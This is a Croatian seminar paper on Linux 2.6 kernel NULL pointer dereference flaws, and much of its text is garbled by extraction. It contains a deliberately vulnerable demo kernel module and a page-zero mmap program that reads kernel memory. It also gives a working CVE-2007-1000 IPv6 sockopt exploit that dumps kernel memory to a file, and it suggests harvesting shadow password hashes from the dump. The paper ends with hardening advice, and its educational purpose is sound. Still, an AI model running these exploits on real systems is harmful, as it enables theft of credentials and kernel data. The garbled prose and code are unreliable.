Analiza NULL pointer propusta u Linux jezgri
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Uvod

U ovom dokument u ¢ e mo 2.6 lanmxmezdre. Botja tremthogalituamaista € i ¢ a
jezgre, te su implementacijski detalji prezentirani ovdje aktualni i u posljednjoji na ¢ i ci 2.6.
vecina informacija moze iskoristiti i za 2.4 ina
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Promotriitspéemdi Enkefje peggfta na sigurnosne propuste
kraju nacine kapkhotevwei zadtnithi napada i povedati sigur



Struktura Linux jezgre

Jezgra operacijskog sustava predstavla suc el j e paekor ko ieddplikacip) rmogue s i (
pristupati sklopovlju i obavljati operacije neovisno o komponentama kojima pristupaju. Linux jezgra je
monolitne strukture §to r#&aigezgrihan psostorucrefaije ato pezgr a
nadgl edn o nmadan Bakvu jeagru karakterizira visoka razina apstrakcije nad sklopovljem kao i
sucelje prema korisnic¢kim aplikacijama sa velikim I
razni lijedogi ik@d& virtuadho razdvojeni u zasebne cjeline, stvarno odvajanje kod monolitne
jezgre je nemoguce. Stoga jedan od mogué¢i h nedostat
nekom dijelu jezgre ona ¢e utjecati na jezgru u cj e
jezgra monol it nnaa rpaozsitnoaj i mooddurleadren o st i koja se ocCitu
moguce dodavati jezgri za Vvrijeme rada sustava i
ponovnim prevodenjem koda jezgre.

Strukturu Linux | e nagpetesnoamhzdgelova s gbrirdn ra @dsao kdji obavljaju:

e Uskl adivac procesa (eng- zaPdruoZceens s zaScipeawli é mu
procesorskog vremena medu procesi ma

¢ Organizator memorije (eng. Memory Manager)—zaduzZzen za sigurno i neome
memoriiracunal a

e Virtualni datotecdni sustavefenhgv| VarmebhbhnFezbam B
pristupanje sklopovlju putem datoteka

e MreZno sucelje (engombguwaojk pnisetbpcepzlicitim
i mreznom sklopovl ju
e Me d wpesna komunikacija (eng. Inter-Process Communication) — predstavlja skup
mehani zama koji omoguc¢uju medusobnu komuni kaci|j |
Svidij el ovi su medusobno pov e z apotiebno je asigurati isppavaa raésvih r ad s
poj edi djedvaail imjihove me d u sekbnmunikacije.
Promatrajuc¢i okolinu moZemo pretpostaviti dva razl:.@i
i zvodi u specijalnom (ringo kod intel X 8 6 proces
specijaliziranih mehanizama i privilegiranih i nstrukci j a za |l akSu organi za

memorije. Jezgra se brine da sustav radi ispravno i pravedno prema svim korisnicima. Kako bi jezgra
osigurala ispravnost rada i pravednost raspodjele procesorskih i memorijskih zahtijeva korisnika mora

ga onemoguc¢i ti da samostalno koristi r esustavas kakor a ¢ un a
bi to osigurala svi korisnic¢ki progr ami se izvode u
ni ze privilegiijiemii nnsetmmau kpcriij satmap is vmBakahki semljigcielimna pr oc

mogle odvijati nezavisno jedna o drugoj bilo je potrebo odvaojiti i pridijeliti svakoj dio adresnog prostora
kojemu mogu pristupati. Predefinirani raspored u v eirdi konfiguracija jezgre je da se adresni prostor

od 4 GiB (kod 32 bitnih x86 racunala) raspodjelid u
adresni prostor koji korisnik moze adresirati je je
dok jezgra adresira memoriju od 0xcO000000 do Oxffffffff. Iz tog razloga postoje posebni mehanizmi

komuni kacije izmedu jezgre i korisnika, stoga prild@
t oj cinjenici i razmi Sl jati O njima kao odvojenim c,|
Prilikom r adan korisskt (koy aije superkdrianik ili eng. root) obavlja sve operacije
neovisno o jezgri, tj. nema utjecaja na unutarnji rad sustava. Neovisnost korisnika
sistemske biblioteke kfankoja kpjimaiah abjaulja kknounikadjunsa kugtavenk u p
neposredno, §to mu pruzZza neovisnost U promjenama | €
mogle osigurati korisniku konzistentno sucelje one
prekoosi gurani h suceld@nosenakotrajsnn&d@di Mmoguc¢nost kori §
mehani zama koj e su mu potrebne. Postoji nekol i ko
superkorisnik mo Z e mijenjat.i parametre sustava i
mehanizam komuni kaci je predstavljaju sistemski pozi vi koj
pozove dijelove jezgrinih funkcija koje je ona osigurala za razgovor sa korisnikom. Tr enut ac¢na i na:



jezgre (2.6.20) omogucuje pozivanje oko 250s i st ems ki h fpokicy @,nad injoat seze c

rad sa datotekama (open, read, write, close...), rad sa soketima (socket, connect, accept, sendto,
recvfrom...), i nf or maci j e o kor i getid, is&tuidngetpid setdgid.e)ti rsvimmastalif
potencijalno potrebni m kori sni ¢kim operaicsijamaki(lilepatiaau mope s

datoteci unistd.h koda jezgre). Po st oj i j o8 jedan s doetc(inguteoutpui contrdl)s t e ms k
koj i omogucéuje korisniku da komuninctianaa.s aNal/iln (nlal al
ostvaruje komunikacija je preko specijalnih tipova

predaje parametre funkcijama koje se nalaze unutar jezgrinog dijela, koje onda mogu dalje obraditi
dobivene parametre i proslijediti ih sklopovlju.



Analiza sigurnosnih propusta

Sigurnosni propust.i unut ar jezgre gotovo slnuxi dent.i
jezgra je pisana u programskom jeziku C i zbog toga postoji velknopasnost od greSaka |
pokazma,ac¢di nami ¢ ki alociranom memori j om, kopiranja
moze do¢ci do gresSke ili nepoznatog odolhwdan) el i kaz g
S§to ukoli ko izazovemo pogresSku @& pobiismuttikodaobnazaen
ostale aplikacije i korisnike,ridaozekaloick o ddo dgea Sk mn
gubitka korisnic¢ckih podataka i potencijalnog oneci §
Drugarazlkajek od i skori §t avarnojpau sgiag urbnooks ns mmo pu kimamos ni € Kk c
uvid u rad nasSe aplikaciije, te je sustav neovisan
aplikaciije ece dovesti s acay &amjka ksous tjaevzag r(eu twe &iirn

n
tehnk a i skori S§tavanja sigué¢dkhosmnokr pi epjudpr@uemickadame i cIni r
izvrSavanj a koahg extendedkiostrudionPpoinfer) registra. Kod jezgre je situacija

dr ugac Bnjijemo neopreznopr eus mj er i ti bizvoSmoaghjoe djopgresti do r

Promotrimo sada jednu klasu sigurnos rielsnempredstadlisst a ko
sigurnosni problem, te je do nedavnobilouvr i j mz&hpenje da ni u jezgri ne
probl esne Sitsoppostavilo netoc¢no.

Prilikom rada sa pok adapogrameminicijafizéas t sav § ev gprriajkastal e t i p
navrijednost o (tij. NULL) Sto i r a z iime s@ osiguravadai c i o}
pokazivac ne p &dajjecothujg zapisand u raesnariji i tako izbjegne krivo referenciranje
podat aka. Kako NULL adresa nije mapirana u memori|j
dojaviti pogred8ku prilikom pristupanja ne.nkglikor ano]j
zamislimo situaciju kada je NULL adresa mapirana u memoriji pristupanje tako inicijaliziranom
pokazi veaicudmjeavil o propust vec¢ bi se tretiralo kao
u g a $ Ekoliko bi htjeli iskoristititakvorefer enci r anj e pokazivac¢a prvi korak
i kori §tenj eSiNdtLdmsakdirre sppazi vom mmap() jezgra omoguc.!
za alokacijom i mapiranjem memorije. Osim specific
pisanje, mmap() poziv omogucéuje posebnu zastavicu MAP_FIXED koja zahtijeva alokaciju memorije
sa pocetnom adresom navedenom Kkao prvi argument p
mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1,
0)j ezgra bi za nas trebala alocirati memoriju s poce
specifi€no znac¢enje NULL vrijednost:i mapiranje te a
NULL pokazivac¢ na uspjedno alociranu memoriju.

Promotrimo sada jezgrin modul za izmiS | j e n i uredalij koji radi tako Sto

znakova i na zahtjev vratiti duljinu zapisanog niza. Korisnik komunicira s modulom preko ioctl poziva

nad posebnom datotekom. Mo dul 0 mo g u ¢ uiyarje funkcijaiza prifivt anakpwvmog niza i

slanje duljine zapisanog niza. lako je navedeni mo d u | i zmi §1 j e nne gperaciiezkbje st and
veéina modula obavlja, a to su primanje i sl anje |
jezgrinogmodulaipokusSajte uociti sigurnosni propust:

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/fs.h>
#include <asm/uaccess.h>
#include <linux/ioctl.h>

#define MAJOR_NUM 100

#define IOCTL_SET_MSG _IOR(MAJOR_NUM, 0, char *)
#define IOCTL_GET_MSG _ IOR(MAJOR_NUM, 1, int *)
#define IOCTL_GET_NTH_BYTE _IOWR(MAJOR_NUM, 2, int)
#define DEVICE_FILE_NAME "vuln"

#define SUCCESS 0

#define DEVICE_NAME "Ranjivi Modul"




#define BUF_LEN 80

#define DEBUG

struct kbuf { /I [1] Deklaracija strukture
char *s tr;
int *len;
B
static int Device_Open = 0;
static struct kbuf *kbuffer=NULL; [ [ 2] I nicijalizacija p¢
static int device_open(struct inode *inode, struct file *file)
{
#ifdef DEBUG
printk(KERN_INFO "Otvoren(%p) \ n", file);
#endif

if (Device_Open)
return - EBUSY;

Device_Open++;
try_module_get(THIS_MODULE);

retur n SUCCESS;
}

static int device_release(struct inode *inode, struct file *file)
{
#ifdef DEBUG

printk(KERN_INFO "Oslobodjen(%p,%p) \ n", inode, file);
#endif

Device_Open -- ;

module_put(THIS_MODULE);
return SUCCESS;

}

static ssize t

device_read(struct file *file, int __user * buffer, size_t length, loff t

* offset)

{
printk(KERN_INFO "Citam[0x%p] \ n", kbuffer - >len);
put_user(*(kbuffer - >len), buffer); /[ [ 3] Prosl jelivanj
return 4;

}

static ssize _t
device_write(struct file *file, const char __user * buffer, size_t length,
loff_t * offset)
{

unsigned int i;




#ifdef DEBUG
printk(KERN_INFO "Pisem(%p,%s,%d)", file, buffer, length);
#endif

kbuffer=kmalloc(sizeof(struct kbuf), GFP_KERNEL);
kbuffer - >str=kmalloc(length+1, GFP_KERNEL);
kbuffer - >len=kmalloc(4, GFP_KERNEL);

for (i= 0; i < length; i++)
get_user(kbuffer - >str[i], buffer + i);

kbuffer - >len=length;

#ifdef DEBUG

printk( KERN_INFO "Pisem(%s, %d, O0x%x)", kbuffer
>len, *(kbuffer - >len));
#endif

return i;

}

int device_ioctl(struct inode *inode, struct file *file, unsigned int
ioctl_num, unsigned long ioctl_param)

{
int i;
char *temp;
charc h;
switch (ioctl_num) {
case IOCTL_SET_MSG:
temp = (char *)ioctl_param;
get_user(ch, temp);
for (i=0; ch && i < BUF_LEN; i++, temp++)
get_user(ch, temp);
device_write(file, (char *)ioctl_param, i, 0);
break;
case IOCTL_GET_MSG:
i = device_read(file, (int *)ioctl_param, 4, 0);
break;
}
return SUCCESS;
}

struct file_operations Fops = {
.read = device_read,
.write = device_write,
.ioctl = device_ioctl,
.open = device_open,
.release = device_release

- >str,

kbuffer




int init_module()

{
int ret_val;
ret_val = register_chrdev(MAJOR_NUM, DEVICE_NAME, &Fops);

if (ret_val < 0) {
printk( KERN_ALERT "Greska! \ n");
return ret_val;

}

printk(KERN_INFO "Info: MAJOR_NUM=%d. \ n", MAJOR_NUM);
printk KERN_INFO "Kreiraj: mknod %s c¢ %d O \'n", DEV ICE_FILE_NAME,
MAJOR_NUM);

return O;

}

void cleanup_module()

{
int ret;

ret = unregister_chrdev(MAJOR_NUM, DEVICE_NAME);

if (ret <0)
printk( KERN_ALERT "lIzlazim: %d \ n", ret);

Kod - Kernel modul 0:1

Zami
f unk

en prolaz funkci | amdevigeevriteadk ok @of i sprioks | predi p ¢
a ¢ce alocirati dovoljnu kolic¢inu kernel me mo
okru nj a, spremi,tii zmiaZumamiemdwuil jinu niza i sSpr emi
uspj no obavljene operacije slanja niza i definir
pristupati i na zahtjev primiti od modula duljinu spremljenog niza. U ovom scenariju modul radi

ispravno i korisnik je zadovolan. No St o ako korisnik pokuSa procitati

predao modulu niz? Kor i sni k deeice pead)viatiizvr Si t ¢ce se kod pod b
i sjecak koda pokus av adrepir(kbsffereefen).tKako wija bila poavaraifunkaoija

@D N< O U

device_write() nije promijenjena ni vrijednost definiranog kbufferpok azi vac€¢a i nicijali zi
PokusSaj Citanja vrijednodenipokatjvaéu npakr gngdi sdeog
dogadaj a. Pr o mgraf koji pnikazuje pristupahie grijednostilenp ok azi vaca.
Adresa: Adresa:
\ » buff:
0x0000: buff
0x0004: Ien/ » len:

kbuffer

Slika0-1-Ref erenciranje pokazival a



Pristupanje *(kbuffer->len) mo 2 e mo pr o moa*(NUldtlen) St &k | e *(NBld+Ordk stoga

mi zapravo pristupamo podacima s adrese zapisane na memorijskoj lokaciji 0x0004, ili ako
promatramo Sliku 3-1 pristupamo vrijednosti len koja se nalazi na adresi 0x0004. Kontroliranjem

vrijednosti zapisane na toj adresit eor et s ki mozemo kontrolirati adr e
podat ke, t . mogl i bi proi deomappaoadciCi uatoibzj ez Criinnuwe
korisni¢kom okruzZzenju u mogué¢nosti izravnim eahtjev
svjesni dijeljenja virtualnog adresnog ,psaotromsaiizimd
situaciju kako bi testiralipretpost avku ¢i tanja proizvoljnih adresa iz
Promotrimo sada programski kod koji izvodi potrebne korake kako bi procit

adrese 0xc0000000.

#include <linux/ioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/mman.h>

#define MAJOR_NUM 100

#define IOCTL_SET_MSG _IOR(MAJOR_NUM, 0, char *)
#define IOCTL_GET_MSG _IOR(MAJOR_NUM, 1, int *)
#define IOCTL_GET_NTH_BYTE _IOWR(MAJOR_NUM, 2, int)
#define DEVICE_FILE_NAME "vuln"

unsigned int swap(unsigned int x)

{

unsigned int ret=0;

ret |= ((x & Oxff) << 24);
ret |= ((x & 0xff00) << 8);

ret |= ((x & 0xff0000) >> 8);

ret |= ((x & 0xff000000) >> 24);

return ret;

}

void ioctl_set_msg(int file_desc, char *message)

{
int ret_val,

ret_val = ioctl(file_desc, IOCTL_SET_MSG, message);

if (ret_val < 0) {
printf("ioctl_set msg failed:%d\n", ret_val);

exit(-1);
}
}
void ioctl_get_msg(int file_desc)
{
int ret_val;

unsigned int message;

ret_val = ioctl(file_desc, IOCTL_GET_MSG, &message);




if (ret_val < 0) {
printf("ioctl_get_msg failed:%d\n", ret_val);

exit(-1);
}
printf("get_msg message: [%x]\n", swap(message));
}
int main()
{

int file_desc;
unsigned int i=0;

char *msg = "Buddha kungfu stylez\n";
int *p=NULL;

p=mmap(NULL, 4096, PROT_READ | PROT WRITE, MAP_FIXED | MAP_ANON |
MAP_PRIVATE, -1, 0);
if ()==MAP_FAILED || p'=NULL)

perror(*mmap()");
return 1;

}

file_desc = open(DEVICE_FILE_NAME, 0);

if (file_desc < 0) {
printf("Can't open device file: %s\n", DEVICE_FILE_NAME);
exit(-1);

}

llioctl_set_msg(file_desc, msg); // [1]

for(i=0xc0000000; i<0xc0000010; i++)

{ .
p[1]=i;
ioctl_get msg(file_desc);
}
close(file_desc);
return O;
}
Kod - Kernel modul 0:2
Unutar funkcije main deklariramo pointer p koji ¢e
Ukoli ko poziv wuspije p ¢e sadjirgmvati | admestui NUdL Lp]
adresi 0x0004 sa koje jezgrin modul Rapjid lezg8hamodul pr o€ i
vrac¢a duljinu 8to je podatak brojcanog tipa velicCin
4 bajtaiupetiuveéavati adresu sa koj e Swatpa nfou nnkackiojna ssvlaukzoig

little endian zapis u stvaran poredak. Slijedi ispis iz kojegas e mo Z e s & d djgzgrihei memorije

p 0 mo programa za komunikaciju s modulom i jezgrinog debuggera, te se usporedbom rezultata

moze zakljuciti da su NULL pokazivaci u jezgrinom o
S njima.

buddha@sova:~/develop/seminar/modkern$ ./ex
get_msg message: [1000000]
get_ msg message: [53ff00f0]




get_msg message: [c3e200f0]
get_msg message: [53ff00f0]
buddha@sova:~/develop/seminar/modkern$

Slika 0-2 7 Ispis programa koji demonstira ranjivost

Entering kdb (current=0xc037f420, pid 0) due to Keyboard Entry
kdb> mdr 0xc0000000 4

01000000
kdb> mdr 0xc0000004 4

53ff00f0
kdb> mdr 0xc0000008 4

c3e200f0
kdb> mdr 0xc0000010 4

53ff00f0
kdb> go

Slika0-3il spis sadr gaja memorije pomolu jezgrin

lakonaprvipogledizgl eda da c¢itanje jezgrine memorije ne prec
| e

je malo dub zaviriti u moguénost.i jezgre kako b
nasumi ¢ni h brojeva prlendadi orde Snoog uza rhi hplihjiefovnacia jei St a 2z
zasigurno dio memorije zaduZzen za cachiranje kori st
mo Z e mo pronaci c a c ldatatean w kojeneu sws $peemljgneg informacije sa hash
vrijednostima lozinki svih korisnika sistema. Uk ol i ko se domognemo shadow dze
koristeci neki od mnogobrojnih programa za pronal az
za pristup sustavu.

Nul I pokazi v acrietkost i § e g € euSafiréessani kao sigurnosni propusti u novim
inacicama jezgre. @grbaogt & kwseloinkinrce jjad ngpre sve je teze
kod i ukl oni ti sve propust e, te sa sigurnosS¢éu mozem
referenciranja unutar jezgre od k oj i h ni smo zasti éeni , a zl onamjerni

pristup nasSem sustavu.

Assume your kernel is vulnerable unless you have good reason to believe it is safe.ii Oyvind
Saether

10



CVE-2007-1000

Pogledajmo sad jedan stvarni propust unutar | i nux jezgre na koji Su rar
Propust se odnosi na refenciranje NULL pointera §t
jezgrine memoriije. Prilikom iskori8tavanja propust a

Propust je zanimljiv jer pokazuje kako duboko unutar koda dugo mogu ostati skriveni
sigurnosni propusti, a za otkrivanje je potrebno dobro poznavanje strukture koda te povezivanje svih
opskurdnih imena pokazivacda na struktur ejuukdjojesemot r i m
nalazi prvi dio ranjivosti:

static int do_ipv6_setsockopt(struct sock *sk, int level, int optname,

char __user *optval, int optlen)

struct ipv6_pinfo *np = inet6_sk(sk);
int val, valbool;
int retv = -ENOPROTOOPT;

if (optval == NULL)
val=0;

else if (get_user(val, (int __user *) optval))
return -EFAULT;

valbool = (val'=0);

lock_sock(sk);

switch (optname) {

case IPV6_2292PKTOPTIONS:

{
struct ipv6_txoptions *opt = NULL;
struct msghdr msg;
struct flowi fl;

int junk;

fl.fl6_flowlabel = O;

fl.oif = sk->sk_bound_dev_if;

if (optlen == 0)

goto update; //ovdje skaceno

11



update:
retv = 0;
if (inet_sk(sk)->is_icsk) {
if (opt) {

opt = xchg(&np->opt, opt); //'!! opt = NULL; struct ipv6_pinfo *np = inet6_sk(sk); np->opt = opt;
sk_dst_reset(sk);
}else {
write_lock(&sk->sk_dst_lock);
opt = xchg(&np->opt, opt);
write_unlock(&sk->sk_dst_lock);

sk_dst_reset(sk);

done:
if (opt)
sock_kfree_s(sk, opt, opt->tot_len);
break;

}

Prilikom poziva ipv6_setsockopt (koji je wrapper za do_ipv6_setsockopt() ) ukoliko proslijedimo NULL

kao argument optval varijabli i 0 kao argument optval-u unut ar socket struktur

vrijednost np-> o p t na NULL. Sve do sada je uredu, ni Sta ne
prepisivanja izvan granica wvarijabli. Sigurnosni

vrijednostiuipv6 _get sockopt (koji je wrapper za do_ipv6_get
cCitanje postavljenih opcija socketa. Promotrimo sad

static int do_ipv6_getsockopt(struct sock *sk, int level, int optname,
char __user *optval, int __user *optlen)
{
struct ipv6_pinfo *np = inet6_sk(sk);
int len;

int val;
if (get_user(len, optlen))

return -EFAULT;

switch (optname) {

case IPV6_DSTOPTS:
{

lock_sock(sk);

len = ipv6_getsockopt_sticky(sk, np->opt->hopopt, optval, len); //np = inet6_sk(sk); np->NULL->hopopt =

12



(NULL + offsetof(hopopt)) now now, isn't pointer arithmetic funny thing :D
release_sock(sk);

return put_user(len, optlen);

}

static int ipv6_getsockopt_sticky(struct sock *sk, struct ipv6_opt_hdr *hdr,

char __user *optval, int len)

if (hdr)
return O;

len = min_t(int, len, ipv6_optlen(hdr));

if (copy_to_user(optval, hdr, ipv6_optlen(hdr))) // optval =*(NULL + offsetof(hopopt)) !'oOPs
return -EFAULT;

return len;

}

Sjecate se dijela s aritmetikom pokazivaca koja ne
korisnickog? Ovdje se upravo navedeno dogodil o. Zbo
za NULL vrijednosti izraz np->opt->hopopt pretvorio se u (NULL + offsetof(hopopt)) St o pokazuj e t
negdje dolje u korisnicki di o ntepydorusgreunliSaidj aadit up a:
sa koje treba procCitati vrijednost vri | edapgasdu opci
korisnic¢kom dbijteil u¢é eneknopriirfjagena vri jednost u Zeljeni b
Il mplikacije ovoga su da mozemo <Citati proizvoljne
mozda i nije zanimljivo samo po s eduicachiradid datetdkaoi u z me n
esto koriStenog sadrzaja (8Sto ukljucuje i shadow d
analize sadr Zeejzgrdwmmp memorije moZzete nai i na svaka
kori sni €k idielowebdazeapodataka, razne datoteke i mnogo drugih stvari.

Za kr aj slijedi jednostavan exploit, onaj mal o | j ¢
hashova u memoriji ¢ete morat samo pisat :)

#include  <stdio.h>
#include  <unistd.h>
#include <stdli b.h>
#include  <string.h>
#include  <errno.h>
#include  <sys/socket.h>
#include  <sys/types.h>
#include  <netinet/in.h>
#include  <sys/mman.h>
#include  <sys/types.h>
#include  <sys/stat.h>
#include  "ipv6.h"

[l#define DEBUG
int check ipv6_present()

{

unsigned int s;

s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
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if (s== -1)

{

#ifdef DEBUG
perror( “"socket()" );
#endif

close(s);

return -1,

}

close(s);
return  0;

}
int main( int argc, char *argv[])
{

char *zmem, buffer[((Oxf f+1)<<3)+1] = {0} [#define ipv6_optlen(p)
((Cu8)(p)  ->hdrlen+1) << 3)

unsigned int addr=0xf7000000, max=0;
struct  ipv6_txoptions *opt = NULL;

FILE *fp;
scanf( "%x %x" ,&addr, &max);
#ifdef DEBUG
print(  "0x%x 0x%x \ n", addr, max);
#endif
if ((fp=fopen( "memdump”, "w+")) == NULL)
{
printf(  “fopen error \n");
exit(0);
}

if (check_ipv6_present() |= 0)
exit(0);

zmem = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANON |
MAP_PRIVATE, -1, 0);

if (zmem == MAP_FAILED || zmem != NULL )
{
#ifdef DEBUG
printf(  "mmap error \n");
#endif
exit(0);
}
while  (‘addr < max)
{
int s, optlen=4;
#ifdef DEBUG
int i
#endif
opt - >hopopt =(  struct  ipv6_opt_hdr *) addr;

s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
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it (s== -1)

{
#ifdef DEBUG
perror( "socket()" );

#endif
exit(0);
}
[#define IPV6_2292PKTOPTIONS 6
if (setsockopt(s, IPPROTO_IPV6, 6, ( void *)NULL, 0) == -1)
{
#ifdef DEBUG
perror( “"setsockopt()" );
#endif
exit(0);

[[#define IPV6_DSTOPTS 59
if  (getsockopt(s, IPPROTO_IPV6, 59, ( void *) &buffer, &optlen) == -1)
{
#ifdef DEBUG
perror( “"getsockopt()" );
#endif

exit(0);

}
optlen = (((*( unsigned int *)buffer & 0xff00)>>8)+1)<<3; /Ikolicina
kopirane memorije ovisi 0 prvom bajtu kojeg gleda ipv6_optlen
[lprintf("%d ", optlen);
fwrite(buffer, optlen, 1, fp);
#ifdef DEBUG
printf(  "Ox %x %d 0x%x\ n" , addr, optlen, (opt - >hopopt));
for (i=0; i<100; i++)
printf( "\ \ %02x" ,buffer[i]);
printf( "\ n");
#endif
bzero(buffer, sizeof (buffer));

close(s);
#ifdef DEBUG
/I printf("0x%x \ n", addr);
#endif

addr += optlen;

}
fclose(fp);

return  0;

}
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Zastita jezgre od napada

Jedna od prednosti otvorenog koda linux jezgre | e
omogucuje svim zainteresiranim entuzi ¢mmjsifeigmapo da po
vi astito]j zel ji. Zasigurno prvi kor ak prema sigur
skl opovl j e, na nacin da se ukl oni sva nepotrebna po
moze uzrokovati s i g ko koristeno vanilla jeigiinekad rsq vavw.kekhkl.ord) stranice

umjestoi nacica prilagodenih pojedinim distribucijama n
riesSenja ¢emo primjeniti. Dvrmmosnnagy projpais eamjna j au s Ge Gk
SeLinux (eng. Security-Enhanced Linux).

SelLinux omogudcava detal jnije profiliranje dozvol a
mi ni mal nu koli¢€inu privilegija potrebni torignk (emgspr avn
root) nije najvazniji korisni ki racun Kkoji moze p
osnovnim operacijama dovoljnim za wuspjedno adminis
promjenama u funkcionirzainnas spiogsurinzoestse owdecmajrca S ¢i
minimalizira posljedica potencijalne provale u sustav. Napomeni mo jos da ni Seli
referenciranje NULL p o k a z i \t4a &Gtadenog 2006. objavljen je sigurnosni propust unutar
programskog koda superblock_doinit1 funkcije k oj i omogucava izvodenj e nap
resursa ukolikos e pok@mBmosebno osmi Sl jen datotec¢ni sustav.
GrSecurity+PaX je kombinacjas ust ava za profiliranje i dodjeljivar
napada prelijevanjem spremnika stoga i gomile (eng. buffer and heap overflow), utrka za datotekama

(eng. file race conditions), referenciranjem NULL |
napadaci kori ste. -Z@rSecuity heidtlazi usktbpugee gr eux e¢ j e di st ri
zakrpaza vanilla inacicu jezgre.

Uporabom bilo kojeg od navedenih sigurnosnih mehan
povecdava se sigurnost sustava. Ukoli ko Zelimo posti
dobropr ouci ti moguénost.i poj eduniimajsudégiurmosbizhr r pame
ponasSanj e,idpravndodabratksa gur nosne politi ke i zaStitne meh

! http://projects.info-pull.com/mokb/MOKB-14-11-2006.html
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Zakljucak

Jedan o dod¢emjivanib tipova sigurnosnih propusta su referencir anj a NULL pokazi v
naizgled bezopasnog pristupanja memorijskoj adresi NULL k r i j e se mogucé¢ost ¢Citan
jezgrinoj memor i j i §t potpanakomptrolsrhda eadre operacijskoy sustdvana t i
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Sazetak

Jezgra operacijskog kao najvaznij.i Ci mbeni k ispravn
propuste. Kako predstavija centralizirani mehanizam upravljanja cijelim sustavom, kontrolom toka

izvrSavanja programskog koda nuun uvtlaars tj erzagd ep o nmeadreon j neel
sustava.

Za uspobmiumu sve vece pileigieponjrebmap qada r acakoemenai okr u

izvodi, met ode komunikacije izmedu | ezgr e metoda pjihovogaci j a,
i skori S§tavanj a. Referenciranje NULL pokazivaca |je t
smatran prijetnjom, zbog nepoznavanja met oda Kkoj i ma | e mogucée vrilo | a
propusta.

Ukol i ko smo uvidjeldi opasnosti koj e vrebaju j ezgrt
mehani zme zalStite i povecat.i razinu sigurnost.i cjel
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